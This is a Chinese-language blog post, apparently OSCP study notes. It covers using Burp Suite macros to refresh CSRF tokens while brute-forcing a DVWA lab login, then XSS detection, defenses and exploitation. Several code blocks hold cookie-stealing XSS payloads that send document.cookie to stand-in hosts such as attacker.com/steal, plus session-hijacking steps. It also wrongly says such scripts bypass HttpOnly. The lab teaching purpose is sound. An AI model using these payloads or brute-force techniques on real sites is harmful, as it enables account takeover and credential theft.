&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day26 Web漏洞-XSS跨站脚本</title><link>https://ruajingjing.top/post/day26-web%E6%BC%8F%E6%B4%9E-xss%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/</link><pubDate>Tue, 05 Aug 2025 14:20:01 +0000</pubDate><guid>https://ruajingjing.top/post/day26-web%E6%BC%8F%E6%B4%9E-xss%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day26 Web漏洞-XSS跨站脚本" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="上一节补充核心知识点burp-suite-处理动态-token-的流程"&gt;​&lt;strong&gt;上一节补充​核心知识点：Burp Suite 处理动态 Token 的流程​&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;下文的​ phpMyAdmin 替换为 DVWA 漏洞练习靶场为例子。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807104944263.png"&gt;&lt;/p&gt;
&lt;h3 id="1-问题分析"&gt;​&lt;strong&gt;​1. 问题分析​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​目标防护机制​&lt;/strong&gt;​：&lt;br&gt;
phpMyAdmin 登录表单包含动态生成的 &lt;code&gt;token&lt;/code&gt; 和 &lt;code&gt;set_session&lt;/code&gt; 值，每次请求都会变化，用于防止 CSRF 和暴力破解。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​关键挑战​&lt;/strong&gt;​：&lt;br&gt;
直接爆破密码会因 Token/Session 不匹配失败（返回错误 &lt;code&gt;Error: Token/Session mismatch&lt;/code&gt;）。
调整DVWA靶场的安全设置为High然后打开 &lt;code&gt;Brute Force&lt;/code&gt; 有个登录框，可以练习登录的漏洞。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110321844.png"&gt;
随便输入用户名密码抓包后查看发现是有token值的，当前的响应是200，是正常的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110352704.png"&gt;
但是当放到重放器中再次发包后返回的结果就是302，这样的话似乎就没办法用Burp爆破密码了。因为token值每发一次就会变化一次。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110422528.png"&gt;
如果在浏览器直接刷新也会提示token过期的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807151156958.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-解决方案burp-intruder-的宏macro功能"&gt;​&lt;strong&gt;​2. 解决方案：Burp Intruder 的宏（Macro）功能​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​核心思路​&lt;/strong&gt;​： 通过 ​&lt;strong&gt;​&lt;code&gt;Recursive Grep&lt;/code&gt;（递归提取）​&lt;/strong&gt;​ 从服务器响应中动态捕获 Token/Session 值，并自动注入到后续请求。&lt;/p&gt;
&lt;h3 id="3-配置步骤"&gt;​​&lt;strong&gt;3. 配置步骤​&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="step-1-设置攻击位置positions"&gt;​&lt;strong&gt;​Step 1: 设置攻击位置（Positions）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​清除默认标记​&lt;/strong&gt;​：点击 &lt;code&gt;Clear §&lt;/code&gt; 移除 Burp 自动标记的位置。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​手动标记关键参数​&lt;/strong&gt;​（4个位置需动态更新）：
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​Cookie 中的 &lt;code&gt;phpMyAdmin&lt;/code&gt; 值​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;Cookie: phpMyAdmin=§动态值§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​POST 表单中的 &lt;code&gt;set_session&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;set_session=§动态值§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​密码字段 &lt;code&gt;pma_password&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（固定用户 &lt;code&gt;root&lt;/code&gt;，爆破密码：&lt;code&gt;pma_password=§密码字典§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Token 字段 &lt;code&gt;token&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;token=§动态值§&lt;/code&gt;）
教材中用的是phpmyadmin，这里用的DVWA一样的，在要爆破的字段上设置&amp;quot;节&amp;quot;符号&lt;code&gt;§&lt;/code&gt;，点击 &lt;code&gt;Add §&lt;/code&gt; 按钮即可添加。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807111149088.png"&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="step-2-配置-payloads递归提取动态值"&gt;​&lt;strong&gt;​Step 2: 配置 Payloads（递归提取动态值）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​Payload Set 1 &amp;amp; 2（Session 值）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Recursive Grep&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​提取规则​&lt;/strong&gt;​：&lt;br&gt;
从响应中抓取 &lt;code&gt;set_session&lt;/code&gt; 的隐藏字段值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;set_session&amp;#34; value=&amp;#34;§提取值§&amp;#34; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​配置定界符​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start: &lt;code&gt;name=&amp;quot;set_session&amp;quot; value=&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;End: &lt;code&gt;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​Payload Set 4（Token 值）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Recursive Grep&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​提取规则​&lt;/strong&gt;​：&lt;br&gt;
从响应中抓取 Token 值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;token&amp;#34; value=&amp;#34;§提取值§&amp;#34; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​配置定界符​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start: &lt;code&gt;name=&amp;quot;token&amp;quot; value=&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;End: &lt;code&gt;&amp;quot;&lt;/code&gt;
打开设置，找到Session设置，看到有会话处理规则和宏的界面。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807131740806.png"&gt;
选择刚刚登录抓过的包，搜索确定有token值的那个。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807131917681.png"&gt;
点击添加宏。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807132016663.png"&gt;
将字段匹配上去，名字是user_token，从 value=&amp;rsquo; 开始，然后正则匹配后面的字符。直接在页面上选中文字拖拽可以自动匹配，
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152152561.png"&gt;
添加好后保存。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152218148.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152255644.png"&gt;
点击会话规则添加新规则。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152318467.png"&gt;
选择运行宏。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152711429.png"&gt;
汉化版的翻译对照。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152630376.png"&gt;
选择只更新此参数。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152932617.png"&gt;
设置工作的范围，只要重放和爆破两个确保打开即可，设置网络为目标的网络或者选择全都通过。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807153142173.png"&gt;
再次发包发现即可无限次发包了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;这里我没有成功，用的是别人成功的截图。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807165754805.png"&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="step-3-配置密码爆破payload-set-3"&gt;​&lt;strong&gt;​Step 3: 配置密码爆破（Payload Set 3）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Simple List&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容​&lt;/strong&gt;​：常用密码字典（如 &lt;code&gt;root&lt;/code&gt;、&lt;code&gt;password&lt;/code&gt;、&lt;code&gt;admin&lt;/code&gt; 等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807170403572.png"&gt;&lt;/p&gt;
&lt;h3 id="4-核心技术宏-macros-如何工作"&gt;​&lt;strong&gt;​4. 核心技术：宏 Macros 如何工作​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​首次请求​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;Burp 发送初始登录请求，服务器返回包含新 Token/Session 的 HTML。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​提取动态值​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;根据 &lt;code&gt;Recursive Grep&lt;/code&gt; 规则，从响应中抓取最新 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​注入下一次请求​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;将提取值自动填充到后续请求的标记位置（§§）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​循环直至成功​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;每次请求更新 Token/Session，绕过防护机制爆破密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="5-成功关键点"&gt;​&lt;strong&gt;​5. 成功关键点​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​定界符精度​&lt;/strong&gt;​：&lt;br&gt;
需精确匹配 HTML 中 Token/Session 的上下文（如 &lt;code&gt;value=&amp;quot;...&amp;quot;&lt;/code&gt;），避免提取错误。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Payload 顺序​&lt;/strong&gt;​：&lt;br&gt;
&lt;code&gt;Pitchfork&lt;/code&gt; 要求每组 Payload 数量一致（密码字典需与 Token 列表同步）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​错误处理​&lt;/strong&gt;​：&lt;br&gt;
需验证提取逻辑是否覆盖服务器返回的所有动态值（Session + Token）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-替代方案burp-的-session-handling-rules"&gt;​&lt;strong&gt;​6. 替代方案（Burp 的 Session Handling Rules）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;若需更灵活处理 Token，可创建 ​&lt;strong&gt;​宏（Macro） + Session Rule​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​新建 Macro​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;捕获登录页 GET 请求 → 提取 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​创建 Session Rule​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;在爆破前自动执行 Macro，更新请求中的 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​应用范围​&lt;/strong&gt;​：&lt;br&gt;
绑定到 Intruder 或整个项目，自动化处理所有相关请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="xss漏洞"&gt;XSS漏洞
&lt;/h2&gt;&lt;blockquote class="alert alert-info"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;Info&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;XSS漏洞在OSCP中不考i，而且在大多数漏洞平台不收录XSS的漏洞，但是在渗透钓鱼中可以作为辅助手段来达到目的。所以简单了解和知道基本的利用操作是很有必要的。
比如在baidu.com中如果xss弹出一个下面这个网站的域名，从而引导“粗心的”用户输入密码等信息，就能窃取用户凭证和其他敏感信息。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807174013588.png"&gt;&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="核心安全概念数据消毒data-sanitization"&gt;​&lt;strong&gt;核心安全概念：数据消毒（Data Sanitization）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​定义与重要性​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据消毒是清除或转换用户输入中危险字符/字符串的过程&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​未消毒数据危害​&lt;/strong&gt;​：攻击者可注入恶意代码（如XSS/SQL注入）&lt;/li&gt;
&lt;li&gt;深度防御原则：应在​&lt;strong&gt;​输入点​&lt;/strong&gt;​（提交时）和​&lt;strong&gt;​输出点​&lt;/strong&gt;​（显示时）双重消毒&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​漏洞成因​&lt;/strong&gt;​&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// 危险示例：直接输出未消毒数据
echo &amp;#34;&amp;lt;td&amp;gt;&amp;#34; . $row[&amp;#34;text&amp;#34;] . &amp;#34;&amp;lt;/td&amp;gt;&amp;#34;; 
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;解决方案：使用&lt;code&gt;htmlspecialchars()&lt;/code&gt;转换特殊字符&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// 安全示例
echo &amp;#34;&amp;lt;td&amp;gt;&amp;#34; . htmlspecialchars($row[&amp;#34;text&amp;#34;]) . &amp;#34;&amp;lt;/td&amp;gt;&amp;#34;;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="跨站脚本攻击xss"&gt;​&lt;strong&gt;​跨站脚本攻击（XSS）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="漏洞类型"&gt;​&lt;strong&gt;​漏洞类型​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;类型&lt;/th&gt;
 &lt;th&gt;特征&lt;/th&gt;
 &lt;th&gt;常见场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;存储型XSS&lt;/td&gt;
 &lt;td&gt;攻击载荷持久化存储在服务器（数据库/缓存）&lt;/td&gt;
 &lt;td&gt;论坛评论、产品评价&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;反射型XSS&lt;/td&gt;
 &lt;td&gt;恶意代码通过URL参数动态返回给用户&lt;/td&gt;
 &lt;td&gt;搜索结果页、错误消息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;基于DOM型XSS&lt;/td&gt;
 &lt;td&gt;攻击发生在浏览器DOM解析层（不与服务端交互）&lt;/td&gt;
 &lt;td&gt;客户端数据处理逻辑漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="漏洞检测方法"&gt;​&lt;strong&gt;​漏洞检测方法​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​定位入口点​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;寻找接受用户输入并回显的字段（如搜索框、反馈表单）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​注入测试字符​&lt;/strong&gt;​&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt; &amp;gt; &amp;#39; &amp;#34; { } ; // HTML/JavaScript特殊字符
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;检查输出：若字符未被编码（如&lt;code&gt;&amp;lt;&lt;/code&gt;未转为&lt;code&gt;&amp;amp;lt;&lt;/code&gt;），则存在风险
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175138878.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175200438.png"&gt;
如图，输入的恶意字符原模原样的输出，说明没有过滤和转义这些字符。
完整的练习可以通过[[xss-labs 靶场 WP|xss-labs]] 靶场练习。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="xss利用技术实战"&gt;​&lt;strong&gt;​XSS利用技术实战​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="基础攻击示例"&gt;​&lt;strong&gt;​基础攻击示例​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;#39;XSS&amp;#39;)&amp;lt;/script&amp;gt; // 触发弹窗验证漏洞
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175101253.png"&gt;
第二关就转义了这些恶意字符，所以直接输的话是弹不了的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807175902190.png"&gt;
还可以加上Burp抓包用字典遍历所有的XSS
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250819214525017.png"&gt;&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​攻击流程​&lt;/strong&gt;​：&lt;br&gt;
&lt;code&gt;提交恶意反馈 → 存储至数据库 → 管理员查看页面 → 触发攻击&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="进阶利用会话劫持"&gt;​&lt;strong&gt;​进阶利用：会话劫持​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​窃取Cookie原理​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;绕过&lt;code&gt;HttpOnly&lt;/code&gt;标志：通过XSS直接读取&lt;code&gt;document.cookie&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt; 
 new Image().src=&amp;#34;http://attacker-ip/?cookie=&amp;#34; + document.cookie;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​劫持管理员会话​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ul&gt;
&lt;li&gt;诱使管理员访问含恶意脚本页面&lt;/li&gt;
&lt;li&gt;脚本将Cookie发送至攻击者服务器&lt;/li&gt;
&lt;li&gt;攻击者使用盗取的&lt;code&gt;PHPSESSID&lt;/code&gt;伪装管理员&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御措施"&gt;​&lt;strong&gt;​防御措施​&lt;/strong&gt;​
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;防御层面&lt;/th&gt;
 &lt;th&gt;具体措施&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​输入消毒​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;提交时过滤&lt;code&gt;&amp;lt; &amp;gt; ' &amp;quot;&lt;/code&gt;等危险字符&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​输出编码​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;显示时强制转义（如PHP的&lt;code&gt;htmlspecialchars()&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​安全标记​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;设置Cookie的&lt;code&gt;HttpOnly&lt;/code&gt;和&lt;code&gt;Secure&lt;/code&gt;属性&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​内容安全策略​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;配置CSP头限制脚本来源（如&lt;code&gt;Content-Security-Policy: script-src 'self'&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="技术关键点解析"&gt;​&lt;strong&gt;​技术关键点解析​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​漏洞本质​&lt;/strong&gt;​&lt;br&gt;
​&lt;strong&gt;​客户端攻击​&lt;/strong&gt;​：浏览器执行恶意脚本而非服务端，但可导致服务端权限沦陷&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​跨域限制绕过​&lt;/strong&gt;​&lt;br&gt;
通过注入&lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;或&lt;code&gt;Image&lt;/code&gt;对象将数据外带至攻击者服务器&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!-- 隐藏iframe外传数据 --&amp;gt;
&amp;lt;iframe src=&amp;#34;http://attacker-ip&amp;#34; style=&amp;#34;display:none&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​自动化攻击验证​&lt;/strong&gt;​&lt;br&gt;
使用PowerShell脚本模拟管理员行为：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# admin_login.ps1
$ie = New-Object -com InternetExplorer.Application
$ie.Visible = $true
$ie.Navigate(&amp;#34;http://vuln-site/login.php&amp;#34;)
# 自动填写凭证并提交...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="9425-练习"&gt;9.4.2.5 练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用示例应用程序中的XSS漏洞获取管理cookie并劫持会话。切记在Windows 10实验室计算机上 使用PowerShell脚本模拟管理员登录。&lt;/li&gt;
&lt;li&gt;考虑使用此应用程序中的XSS漏洞进行攻击的其他方式。&lt;/li&gt;
&lt;li&gt;此漏洞会攻击站点的服务器还是客户端？&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="1-利用xss漏洞获取管理员cookie并劫持会话的步骤"&gt;​&lt;strong&gt;​1. 利用XSS漏洞获取管理员Cookie并劫持会话的步骤​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​攻击流程如下（需在Windows 10实验环境中配合PowerShell模拟管理员登录）：​&lt;/strong&gt;​&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​注入恶意Payload​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在存在XSS漏洞的输入点（如评论框、URL参数）注入以下脚本：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script&amp;gt;
 var img = new Image();
 img.src = &amp;#39;http://attacker.com/steal?cookie=&amp;#39; + encodeURIComponent(document.cookie);
 img.style.display = &amp;#39;none&amp;#39;;
 document.body.appendChild(img);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此脚本会悄无声息地将当前用户的Cookie发送至攻击者控制的服务器（&lt;code&gt;attacker.com&lt;/code&gt;）。&lt;/p&gt;
